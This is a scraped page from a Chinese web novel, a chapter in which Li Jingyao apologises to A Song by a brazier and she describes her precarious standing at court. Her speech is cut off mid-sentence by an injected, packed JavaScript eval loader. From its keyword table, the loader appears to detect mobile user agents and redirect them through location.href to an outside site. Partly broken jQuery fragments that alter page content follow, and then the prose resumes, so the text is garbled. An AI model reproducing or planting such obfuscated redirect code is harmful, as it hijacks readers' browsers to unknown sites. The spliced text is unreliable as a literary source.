文斯珈 作品
37. 自保(第2页)
李景曜的目光落在阿颂身上,她还在拨弄火盆里的炭火仿佛只有这样她才不会显得那么不自在,李景曜知道萧文广的话只是在阐述事实,可他自从见到阿颂的那刻就开始升腾的愧疚汩汩而来,此时怎么都压不下去。
“青棠,”李景曜轻唤她的名字,拨弄火炭的手顿住,他的语气带着微微颤意,“我深知我罪在何处,不在这天下,也不在李家,在你,我若是知道我认罪之后会把你卷进来,彼时我便是死了也不会认罪,对不起,是我连累了你。”
阿颂又一次赌赢了,是谁说她赌运不好的,她的赌运简直稳的很。
这一次她赌什么呢?赌李景曜不是个十恶不赦之人,她写过檄文来声讨他的罪行,也在一张又一张的朝廷邸报和官府告示的字缝中窥见一丝秘闻,彼时他们素未谋面,但她甘愿花都一行。
火钳再次动起来,阿颂的语气前后没有太大分别:“没有什么连累不连累,是我所愿,谁也勉强不来,老师说,一家人不说连累不连累,也不说歉疚不歉疚,怎么活都会互相亏欠。”
话至此处,萧文广那两个认不认的问题也烟消云散了,有些话没办法说明白,会显得矫情,而且他们没有到抱头痛哭的那一步,或者说三个人谁也不是那样的性子。
“那……皇上让你们来是……”
“见哥哥,去岁登山封禅,认祖归宗,新年随阳一行,在世的亲人也算见全了,不必藏着掖着,也不必避讳什么,见了就是见了,自此再没有什么话柄攥在他们手里,我将是一柄毫无弱处的利剑。”
炭火发出噼里啪啦的声音,金黄的火焰藏在木炭里,白灰簌簌地落,不多会儿木炭便消瘦了一圈。
“他希望为我所用的人离我远远的,又近近的,平素不必靠近,这样他放心些,用起来也好用些,遇到事后这些人又都能为我、为我身后的他赴汤蹈火,他需要,又不完全需要。”
李景曜听见那句“见哥哥”后有些触动,又听阿颂说起后来这些话,他和萧文广互看一眼,满是苦涩。
没有人打断阿颂的话,她眼看着火盆,继续说:“我出山时老师说自此我与花山的联系只在身死收尸,我只带了他们二人,一个大夫,一个杀手。杜寒英迎我还朝,在皇上的撮合下我与他结下姻缘,而我们也达成同盟,他对我知之甚多,目下来看,他不是敌人。宫中妃嫔无一人为友,皇子公主更是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836484|159064||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话不投机,侍奉不服,贵人不屑,于是皇上拼力抬我的身份地位,这样的势头,那东宫我也不是没有可能住一住,但我知道,鉴议院是最终归宿。这便是我的处境。”